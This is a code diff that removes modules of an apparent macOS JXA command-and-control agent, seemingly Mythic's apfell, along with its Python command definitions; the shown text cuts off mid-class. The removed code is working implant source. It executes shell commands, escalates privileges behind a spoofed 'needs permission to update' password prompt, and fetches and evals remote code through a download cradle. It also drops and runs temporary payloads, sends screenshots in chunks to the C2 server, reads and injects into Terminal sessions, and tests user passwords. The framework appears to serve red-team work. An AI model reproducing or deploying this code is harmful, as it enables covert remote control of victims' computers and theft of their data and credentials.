||||
@@ -1,33 +0,0 @@
|
||||
exports.run = function(task, command, params){
|
||||
//launch a program and args via ObjC bridge without doShellScript and return response
|
||||
let response = "";
|
||||
try{
|
||||
let pieces = JSON.parse(params);
|
||||
let path = pieces['path'];
|
||||
//console.log(path);
|
||||
let args = pieces['args'];
|
||||
let pipe = $.NSPipe.pipe;
|
||||
let file = pipe.fileHandleForReading; // NSFileHandle
|
||||
let task = $.NSTask.alloc.init;
|
||||
task.launchPath = path; //'/bin/ps'
|
||||
task.arguments = args; //['ax']
|
||||
task.standardOutput = pipe; // if not specified, literally writes to file handles 1 and 2
|
||||
task.standardError = pipe;
|
||||
//console.log("about to launch");
|
||||
task.launch; // Run the command 'ps ax'
|
||||
//console.log("launched");
|
||||
if(args[args.length - 1] !== "&"){
|
||||
//if we aren't tasking this to run in the background, then try to read the output from the program
|
||||
// this will hang our main program though for now
|
||||
let data = file.readDataToEndOfFile; // NSData, potential to hang here?
|
||||
file.closeFile;
|
||||
response = $.NSString.alloc.initWithDataEncoding(data, $.NSUTF8StringEncoding).js;
|
||||
}
|
||||
else{
|
||||
response = "launched program";
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output":response, "completed": true};
|
||||
};
|
||||
@@ -1,45 +0,0 @@
|
||||
exports.screenshot = function(task, command, params){
|
||||
try{
|
||||
ObjC.import('Cocoa');
|
||||
ObjC.import('AppKit');
|
||||
let cgimage = $.CGDisplayCreateImage($.CGMainDisplayID());
|
||||
if(cgimage.js === undefined) {
|
||||
cgimage = $.CFMakeCollectable(cgimage); // in case 10.15 is messing with the types again
|
||||
}
|
||||
if(cgimage.js === undefined){
|
||||
return {"user_output":"Failed to get image from display", "completed": true, "status": "error"};
|
||||
}
|
||||
let bitmapimagerep = $.NSBitmapImageRep.alloc.initWithCGImage(cgimage);
|
||||
let capture = bitmapimagerep.representationUsingTypeProperties($.NSBitmapImageFileTypePNG, Ref());
|
||||
let offset = 0;
|
||||
let chunkSize = 350000;
|
||||
let fileSize = parseInt(capture.length);
|
||||
// always round up to account for chunks that are < chunksize;
|
||||
let numOfChunks = Math.ceil(fileSize / chunkSize);
|
||||
let registerData = {'total_chunks': numOfChunks, 'task': task.id, "is_screenshot": true};
|
||||
let registerFile = C2.postResponse(task, registerData);
|
||||
if (registerFile['responses'][0]['status'] === "success"){
|
||||
let currentChunk = 1;
|
||||
let csize = capture.length - offset > chunkSize ? chunkSize : capture.length - offset;
|
||||
let data = capture.subdataWithRange($.NSMakeRange(offset, csize));
|
||||
while(parseInt(data.length) > 0 && offset < fileSize){
|
||||
// send a chunk
|
||||
let fileData = {'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js, 'task': task.id, 'file_id': registerFile['responses'][0]['file_id']};
|
||||
C2.postResponse(task, fileData);
|
||||
$.NSThread.sleepForTimeInterval(C2.gen_sleep_time());
|
||||
|
||||
// increment the offset and seek to the amount of data read from the file
|
||||
offset = offset + parseInt(data.length);
|
||||
csize = capture.length - offset > chunkSize ? chunkSize : capture.length - offset;
|
||||
data = capture.subdataWithRange($.NSMakeRange(offset, csize));
|
||||
currentChunk += 1;
|
||||
}
|
||||
return {"user_output":JSON.stringify({"file_id": registerFile['responses'][0]['file_id']}), "completed": true};
|
||||
}
|
||||
else{
|
||||
return {"user_output":"Failed to register file to download", "completed": true, "status": "error"};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":"Failed to get a screencapture: " + error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,14 +0,0 @@
|
||||
exports.security_info = function(task, command, params){
|
||||
try{
|
||||
let secObj = Application("System Events").securityPreferences();
|
||||
let info = "automaticLogin: " + secObj.automaticLogin() +
|
||||
"\nlogOutWhenInactive: " + secObj.logOutWhenInactive() +
|
||||
"\nlogOutWhenInactiveInterval: " + secObj.logOutWhenInactiveInterval() +
|
||||
"\nrequirePasswordToUnlock: " + secObj.requirePasswordToUnlock() +
|
||||
"\nrequirePasswordToWake: " + secObj.requirePasswordToWake();
|
||||
//"\nsecureVirtualMemory: " + secObj.secureVirtualMemory(); //might need to be in an elevated context
|
||||
return {"user_output":info, "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,25 +0,0 @@
|
||||
exports.shell = function(task, command, params){
|
||||
//simply run a shell command via doShellScript and return the response
|
||||
let response = "";
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
let command = command_params['command'];
|
||||
if(command[command.length-1] === "&"){
|
||||
//doShellScript actually does macOS' /bin/sh which is actually bash emulating sh
|
||||
// so to actually background a task, you need "&> /dev/null &" at the end
|
||||
// so I'll just automatically fix this so it's not weird for the operator
|
||||
command = command + "> /dev/null &";
|
||||
}
|
||||
response = currentApp.doShellScript(command);
|
||||
if(response === undefined || response === ""){
|
||||
response = "No Command Output";
|
||||
}
|
||||
// shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
|
||||
response = response.replace(/\r/g, "\n");
|
||||
return {"user_output":response, "completed": true};
|
||||
}
|
||||
catch(error){
|
||||
response = error.toString().replace(/\r/g, "\n");
|
||||
return {"user_output":response, "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,55 +0,0 @@
|
||||
exports.shell_elevated = function(task, command, params){
|
||||
try{
|
||||
let response = "";
|
||||
let pieces = [];
|
||||
let cmd = "";
|
||||
if(params.length > 0){ pieces = JSON.parse(params); }
|
||||
else{ pieces = []; }
|
||||
if(pieces.hasOwnProperty('command') && pieces['command'] !== ""){
|
||||
if(pieces['command'][command.length -1] === "&"){
|
||||
cmd = pieces['command'] + "> /dev/null &";
|
||||
}else{
|
||||
cmd = pieces['command'];
|
||||
}
|
||||
}
|
||||
else{
|
||||
return {"user_output": "missing command", "completed": true, "status": "error"};
|
||||
}
|
||||
let use_creds = false;
|
||||
let prompt = "An application needs permission to update";
|
||||
if(pieces.hasOwnProperty('prompt') && pieces['prompt'] !== ""){
|
||||
prompt = pieces['prompt'];
|
||||
use_creds = false;
|
||||
}else{
|
||||
use_creds = true;
|
||||
}
|
||||
if(!use_creds) {
|
||||
try {
|
||||
response = currentApp.doShellScript(cmd, {administratorPrivileges: true, withPrompt: prompt});
|
||||
} catch (error) {
|
||||
// shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
|
||||
response = error.toString().replace(/\r/g, "\n");
|
||||
return {"user_output": response, "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
else{
|
||||
let userName = apfell.user;
|
||||
let password = "";
|
||||
if(pieces.hasOwnProperty('user') && pieces['user'] !== ""){ userName = pieces['user']; }
|
||||
if(pieces.hasOwnProperty('credential')){ password = pieces['credential']; }
|
||||
try{
|
||||
response = currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:userName, password:password});
|
||||
}
|
||||
catch(error){
|
||||
// shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
|
||||
response = error.toString().replace(/\r/g, "\n");
|
||||
return {"user_output":response, "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
// shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
|
||||
response = response.replace(/\r/g, "\n");
|
||||
return {"user_output":response, "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,16 +0,0 @@
|
||||
exports.sleep = function(task, command, params){
|
||||
try{
|
||||
let command_params = JSON.parse(params);
|
||||
if(command_params.hasOwnProperty('interval') && command_params["interval"] !== null && command_params['interval'] >= 0){
|
||||
C2.interval = command_params['interval'];
|
||||
}
|
||||
if(command_params.hasOwnProperty('jitter') && command_params["jitter"] !== null && command_params['jitter'] >= 0 && command_params['jitter'] <= 100){
|
||||
C2.jitter = command_params['jitter'];
|
||||
}
|
||||
let sleep_response = "Sleep interval updated to " + C2.interval + " and sleep jitter updated to " + C2.jitter;
|
||||
return {"user_output":sleep_response, "completed": true, "process_response": sleep_response};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
exports.spawn_download_cradle = function(task, command, params){
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
if(!config.hasOwnProperty('url')){return {"user_output": "missing url parameter: 'a URL address where the jxa code is hosted'", "completed": true, "status": "error"};}
|
||||
let full_url = config['url'];
|
||||
let path = "/usr/bin/osascript";
|
||||
let args = ['-l','JavaScript','-e'];
|
||||
let command = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString(";
|
||||
command = command + "'" + full_url + "')),$.NSUTF8StringEncoding)));";
|
||||
args.push(command);
|
||||
args.push("&");
|
||||
try{
|
||||
let pipe = $.NSPipe.pipe;
|
||||
let file = pipe.fileHandleForReading; // NSFileHandle
|
||||
let task = $.NSTask.alloc.init;
|
||||
task.launchPath = path;
|
||||
task.arguments = args;
|
||||
task.standardOutput = pipe;
|
||||
task.standardError = pipe;
|
||||
task.launch;
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output":"Process spawned", "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,39 +0,0 @@
|
||||
exports.spawn_drop_and_execute = function(task, command, params){
|
||||
let artifacts = [];
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
//full_url = C2.baseurl + "api/v1.0/payloads/get/" + split_params[3];
|
||||
let m = [...Array(Number(10))].map(i=>(~~(Math.random()*36)).toString(36)).join('');
|
||||
let temp_file = "/tmp/" + m;
|
||||
let file = C2.upload(task, config['template'], temp_file);
|
||||
|
||||
let path = "/usr/bin/osascript";
|
||||
let result = write_data_to_file(file, temp_file);
|
||||
if(result !== "file written"){return {"user_output": result, "completed": true, "status": 'error'};}
|
||||
else{artifacts.push({"base_artifact": "File Create", "artifact": temp_file});}
|
||||
let args = ['-l','JavaScript', temp_file, '&'];
|
||||
try{
|
||||
let pipe = $.NSPipe.pipe;
|
||||
let file = pipe.fileHandleForReading; // NSFileHandle
|
||||
let task = $.NSTask.alloc.init;
|
||||
task.launchPath = path;
|
||||
task.arguments = args;
|
||||
task.standardOutput = pipe;
|
||||
task.standardError = pipe;
|
||||
task.launch;
|
||||
artifacts.push({"base_artifact": "Process Create", "artifact": "/usr/bin/osascript " + args.join(" ")});
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error", "artifacts": artifacts};
|
||||
}
|
||||
//give the system time to actually execute the file before we delete it
|
||||
$.NSThread.sleepForTimeInterval(3);
|
||||
let fileManager = $.NSFileManager.defaultManager;
|
||||
fileManager.removeItemAtPathError($(temp_file), $());
|
||||
return {"user_output": "Created temp file: " + temp_file + ", started process and removed file", "completed": true, "artifacts": artifacts};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error", "artifacts": artifacts};
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
exports.system_info = function(task, command, params){
|
||||
try{
|
||||
return {"user_output":JSON.stringify(currentApp.systemInfo(), null, 2), "completed": true};
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,54 +0,0 @@
|
||||
exports.terminals_read = function(task, command, params){
|
||||
let split_params = {};
|
||||
try{
|
||||
split_params = JSON.parse(params);
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
let all_data = {};
|
||||
try{
|
||||
let term = Application("Terminal");
|
||||
if(term.running()){
|
||||
let windows = term.windows;
|
||||
for(let i = 0; i < windows.length; i++){
|
||||
let win_info = {
|
||||
"Name": windows[i].name(),
|
||||
"Visible": windows[i].visible(),
|
||||
"Frontmost": windows[i].frontmost(),
|
||||
"tabs": []
|
||||
};
|
||||
let all_tabs = [];
|
||||
// store the windows information in id_win in all_data
|
||||
all_data["window_" + i] = win_info;
|
||||
for(let j = 0; j < windows[i].tabs.length; j++){
|
||||
let tab_info = {
|
||||
"tab": j,
|
||||
"Busy": windows[i].tabs[j].busy(),
|
||||
"Processes": windows[i].tabs[j].processes(),
|
||||
"Selected": windows[i].tabs[j].selected(),
|
||||
"TTY": windows[i].tabs[j].tty()
|
||||
};
|
||||
if(windows[i].tabs[j].titleDisplaysCustomTitle()){
|
||||
tab_info["CustomTitle"] = windows[i].tabs[j].customTitle();
|
||||
}
|
||||
if(split_params['level'] === 'history'){
|
||||
tab_info["History"] = windows[i].tabs[j].history();
|
||||
}
|
||||
if(split_params['level'] === 'contents'){
|
||||
tab_info["Contents"] = windows[i].tabs[j].contents();
|
||||
}
|
||||
all_tabs.push(tab_info);
|
||||
}
|
||||
// store all of the tab information corresponding to that window id at id_tabs
|
||||
win_info['tabs'] = all_tabs;
|
||||
}
|
||||
}else{
|
||||
return {"user_output":"Terminal is not running", "completed": true, "status": "error"};
|
||||
}
|
||||
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
let output = JSON.stringify(all_data, null, 2);
|
||||
return {"user_output":output, "completed": true};
|
||||
};
|
||||
@@ -1,25 +0,0 @@
|
||||
exports.terminals_send = function(task, command, params){
|
||||
let split_params = {"window": 0, "tab": 0, "command": ""};
|
||||
try{
|
||||
split_params = Object.assign({}, split_params, JSON.parse(params));
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
let output = "No Command Output";
|
||||
try{
|
||||
let term = Application("Terminal");
|
||||
if(term.running()){
|
||||
let window = split_params['window'];
|
||||
let tab = split_params['tab'];
|
||||
let cmd = split_params['command'];
|
||||
term.doScript(cmd, {in:term.windows[window].tabs[tab]});
|
||||
output = term.windows[window].tabs[tab].contents();
|
||||
}else{
|
||||
return {"user_output":"Terminal is not running", "completed": true, "status": "error"};
|
||||
}
|
||||
}
|
||||
catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
return {"user_output":output, "completed": true};
|
||||
};
|
||||
@@ -1,31 +0,0 @@
|
||||
exports.test_password = function(task, command, params){
|
||||
ObjC.import("OpenDirectory");
|
||||
let session = $.ODSession.defaultSession;
|
||||
let sessionType = 0x2201 // $.kODNodeTypeAuthentication
|
||||
let recType = $.kODRecordTypeUsers
|
||||
let node = $.ODNode.nodeWithSessionTypeError(session, sessionType, $());
|
||||
let username = apfell.user;
|
||||
let password = "";
|
||||
if(params.length > 0){
|
||||
let data = JSON.parse(params);
|
||||
if(data.hasOwnProperty('username') && data['username'] !== ""){
|
||||
username = data['username'];
|
||||
}
|
||||
if(data.hasOwnProperty('password') && data['password'] !== ""){
|
||||
password = data['password'];
|
||||
}
|
||||
// if no password is supplied, try an empty password
|
||||
}
|
||||
let user = node.recordWithRecordTypeNameAttributesError(recType,$(username), $(), $())
|
||||
if(user.js !== undefined){
|
||||
if(user.verifyPasswordError($(password),$())){
|
||||
return {"user_output":"Successful authentication", "completed": true};
|
||||
}
|
||||
else{
|
||||
return {"user_output":"Failed authentication", "completed": true};
|
||||
}
|
||||
}
|
||||
else{
|
||||
return {"user_output":"User does not exist", "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
@@ -1,32 +0,0 @@
|
||||
exports.upload = function(task, command, params){
|
||||
try{
|
||||
let config = JSON.parse(params);
|
||||
let full_path = config['remote_path'];
|
||||
let data = "Can't find 'file' or 'file_id' with non-blank values";
|
||||
let file_id = "";
|
||||
if(config.hasOwnProperty('file') && config['file'] !== ""){
|
||||
data = C2.upload(task, config['file'], "");
|
||||
file_id = config['file']
|
||||
}
|
||||
if(typeof data === "string"){
|
||||
return {"user_output":String(data), "completed": true, "status": "error"};
|
||||
}
|
||||
else{
|
||||
data = write_data_to_file(data, full_path);
|
||||
try{
|
||||
let fm = $.NSFileManager.defaultManager;
|
||||
let pieces = ObjC.deepUnwrap(fm.componentsToDisplayForPath(full_path));
|
||||
if(pieces === undefined){
|
||||
return {'status': 'error', 'user_output': String(data), 'completed': true};
|
||||
}
|
||||
full_path = "/" + pieces.slice(1).join("/");
|
||||
}catch(error){
|
||||
return {'status': 'error', 'user_output': error.toString(), 'completed': true};
|
||||
}
|
||||
return {"user_output":String(data), "completed": true, 'full_path': full_path, "file_id": file_id,
|
||||
"artifacts": [{"base_artifact": "File Create", "artifact": full_path}]};
|
||||
}
|
||||
}catch(error){
|
||||
return {"user_output":error.toString(), "completed": true, "status": "error"};
|
||||
}
|
||||
};
|
||||
Whitespace-only changes.
@@ -1,33 +0,0 @@
|
||||
from mythic_payloadtype_container.PayloadBuilder import *
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
import sys
|
||||
import json
|
||||
|
||||
#define your payload type class here, it must extend the PayloadType class though
|
||||
class MyAgent(PayloadType):
|
||||
|
||||
name = "my_agent" # name that would show up in the UI
|
||||
file_extension = "exe" # default file extension to use when creating payloads
|
||||
author = "@YourHandleHere" # author of the payload type
|
||||
supported_os = [ # supported OS and architecture combos
|
||||
SupportedOS.Windows, SupportedOS.Linux # update this list with all the OSes your agent supports
|
||||
]
|
||||
wrapper = False # does this payload type act as a wrapper for another payloads inside of it?
|
||||
# if the payload supports any wrapper payloads, list those here
|
||||
wrapped_payloads = [] # ex: "service_wrapper"
|
||||
note = "Any note you want to show up about your payload type in the UI"
|
||||
supports_dynamic_loading = False # setting this to True allows users to only select a subset of commands when generating a payload
|
||||
build_parameters = [
|
||||
# these are all the build parameters that will be presented to the user when creating your payload
|
||||
# we'll leave this blank for now
|
||||
]
|
||||
# the names of the c2 profiles that your agent supports
|
||||
c2_profiles = ["http"]
|
||||
# after your class has been instantiated by the mythic_service in this docker container and all required build parameters have values
|
||||
# then this function is called to actually build the payload
|
||||
async def build(self) -> BuildResponse:
|
||||
# this function gets called to create an instance of your payload
|
||||
resp = BuildResponse(status=BuildStatus.Success)
|
||||
resp.payload = b""
|
||||
return resp
|
||||
@@ -1,48 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class CatArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
description="path to file (no quotes required)",
|
||||
parameter_group_info=[ParameterGroupInfo()]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a path to a file")
|
||||
self.add_arg("path", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "path" in dictionary_arguments:
|
||||
self.add_arg("path", dictionary_arguments["path"])
|
||||
else:
|
||||
raise ValueError("Missing 'path' argument")
|
||||
|
||||
|
||||
class CatCommand(CommandBase):
|
||||
cmd = "cat"
|
||||
needs_admin = False
|
||||
help_cmd = "cat /path/to/file"
|
||||
description = "Read the contents of a file and display it to the user. No need for quotes and relative paths are fine"
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
argument_class = CatArguments
|
||||
attackmapping = ["T1005", "T1552.001"]
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="$.NSString.stringWithContentsOfFileEncodingError",
|
||||
artifact_type="API Called",
|
||||
)
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,51 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class DownloadArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
if self.command_line[0] == "{":
|
||||
temp_json = json.loads(self.command_line)
|
||||
if "host" in temp_json:
|
||||
# this means we have tasking from the file browser rather than the popup UI
|
||||
# the apfell agent doesn't currently have the ability to do _remote_ listings, so we ignore it
|
||||
self.command_line = temp_json["path"] + "/" + temp_json["file"]
|
||||
else:
|
||||
raise Exception("Unsupported JSON")
|
||||
else:
|
||||
raise Exception("Must provide a path to download")
|
||||
|
||||
|
||||
class DownloadCommand(CommandBase):
|
||||
cmd = "download"
|
||||
needs_admin = False
|
||||
help_cmd = "download {path to remote file}"
|
||||
description = "Download a file from the victim machine to the Mythic server in chunks (no need for quotes in the path)."
|
||||
version = 1
|
||||
supported_ui_features = ["file_browser:download"]
|
||||
author = "@its_a_feature_"
|
||||
parameters = []
|
||||
attackmapping = ["T1020", "T1030", "T1041"]
|
||||
argument_class = DownloadArguments
|
||||
browser_script = [BrowserScript(script_name="download", author="@its_a_feature_"),
|
||||
BrowserScript(script_name="download_new", author="@its_a_feature_", for_new_ui=True)]
|
||||
attributes = CommandAttributes(
|
||||
suggested_command=True
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="$.NSFileHandle.fileHandleForReadingAtPath, readDataOfLength",
|
||||
artifact_type="API Called",
|
||||
)
|
||||
task.display_params = task.args.command_line
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,37 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class ExitArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
pass
|
||||
|
||||
|
||||
class ExitCommand(CommandBase):
|
||||
cmd = "exit"
|
||||
needs_admin = False
|
||||
help_cmd = "exit"
|
||||
description = "This exits the current apfell agent by leveraging the ObjectiveC bridge's NSApplication terminate function."
|
||||
version = 1
|
||||
supported_ui_features = ["callback_table:exit"]
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = []
|
||||
argument_class = ExitArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=True
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="$.NSApplication.sharedApplication.terminate",
|
||||
artifact_type="API Called",
|
||||
)
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,62 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class JsimportArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="file",
|
||||
type=ParameterType.File,
|
||||
description="Select a JXA file to upload",
|
||||
parameter_group_info=[ParameterGroupInfo()]
|
||||
)
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
if self.command_line[0] == "{":
|
||||
self.load_args_from_json_string(self.command_line)
|
||||
else:
|
||||
raise ValueError("Missing JSON arguments")
|
||||
else:
|
||||
raise ValueError("Missing arguments")
|
||||
pass
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "file" in dictionary_arguments:
|
||||
self.add_arg("file", dictionary_arguments["file"])
|
||||
else:
|
||||
raise ValueError("Missing 'file' argument")
|
||||
|
||||
|
||||
class JsimportCommand(CommandBase):
|
||||
cmd = "jsimport"
|
||||
needs_admin = False
|
||||
help_cmd = "jsimport"
|
||||
description = "import a JXA file into memory"
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1020", "T1030", "T1041", "T1620", "T1105"]
|
||||
argument_class = JsimportArguments
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
file_resp = await MythicRPC().execute("get_file",
|
||||
file_id=task.args.get_arg("file"),
|
||||
task_id=task.id,
|
||||
get_contents=False)
|
||||
if file_resp.status == MythicRPCStatus.Success:
|
||||
original_file_name = file_resp.response[0]["filename"]
|
||||
else:
|
||||
raise Exception("Error from Mythic: " + str(file_resp.error))
|
||||
task.display_params = f"{original_file_name} into memory"
|
||||
file_resp = await MythicRPC().execute("update_file",
|
||||
file_id=task.args.get_arg("file"),
|
||||
delete_after_fetch=False,
|
||||
comment="Uploaded into memory for jsimport")
|
||||
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,43 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
|
||||
|
||||
class JsimportCallArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="command",
|
||||
type=ParameterType.String,
|
||||
description="The command to execute within a file loaded via jsimport",
|
||||
parameter_group_info=[ParameterGroupInfo()]
|
||||
)
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a path to a file")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "command" in dictionary_arguments:
|
||||
self.add_arg("command", dictionary_arguments["command"])
|
||||
else:
|
||||
raise ValueError("Missing 'command' argument")
|
||||
|
||||
|
||||
class JsimportCallCommand(CommandBase):
|
||||
cmd = "jsimport_call"
|
||||
needs_admin = False
|
||||
help_cmd = "jsimport_call function_call();"
|
||||
description = "call a function from within the JS file that was imported with 'jsimport'. This function call is appended to the end of the jsimport code and called via eval."
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1059.002"]
|
||||
argument_class = JsimportCallArguments
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,51 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class ListEntitlementsArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="pid",
|
||||
type=ParameterType.Number,
|
||||
default_value=-1,
|
||||
description="Pid of the process to enumerate (-1 for all processes)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a path to a file")
|
||||
self.add_arg("pid", int(self.command_line))
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "pid" in dictionary_arguments:
|
||||
self.add_arg("pid", dictionary_arguments["pid"])
|
||||
|
||||
|
||||
class ListEntitlementsCommand(CommandBase):
|
||||
cmd = "list_entitlements"
|
||||
needs_admin = False
|
||||
help_cmd = 'list_entitlements [pid]'
|
||||
description = "This uses JXA to list the entitlements for a running process"
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1057"]
|
||||
argument_class = ListEntitlementsArguments
|
||||
supported_ui_features = ["list_entitlements:list"]
|
||||
browser_script = [BrowserScript(script_name="list_entitlements_new", author="@its_a_feature_", for_new_ui=True)]
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
if task.args.get_arg("pid") == -1:
|
||||
task.display_params = "for all running applications"
|
||||
else:
|
||||
task.display_params = "for pid " + str(task.args.get_arg("pid"))
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,90 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
import base64
|
||||
import sys
|
||||
|
||||
|
||||
class LoadArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(name="commands",
|
||||
type=ParameterType.ChooseMultiple,
|
||||
description="One or more commands to send to the agent",
|
||||
choices_are_all_commands=True),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a set of commands")
|
||||
self.add_arg("commands", self.command_line.split(" "))
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "commands" in dictionary_arguments:
|
||||
if isinstance(dictionary_arguments["commands"], str):
|
||||
self.add_arg("commands", dictionary_arguments["commands"].split(" "))
|
||||
else:
|
||||
self.add_arg("commands", dictionary_arguments["commands"])
|
||||
else:
|
||||
raise ValueError("Missing 'commands' argument")
|
||||
|
||||
|
||||
class LoadCommand(CommandBase):
|
||||
cmd = "load"
|
||||
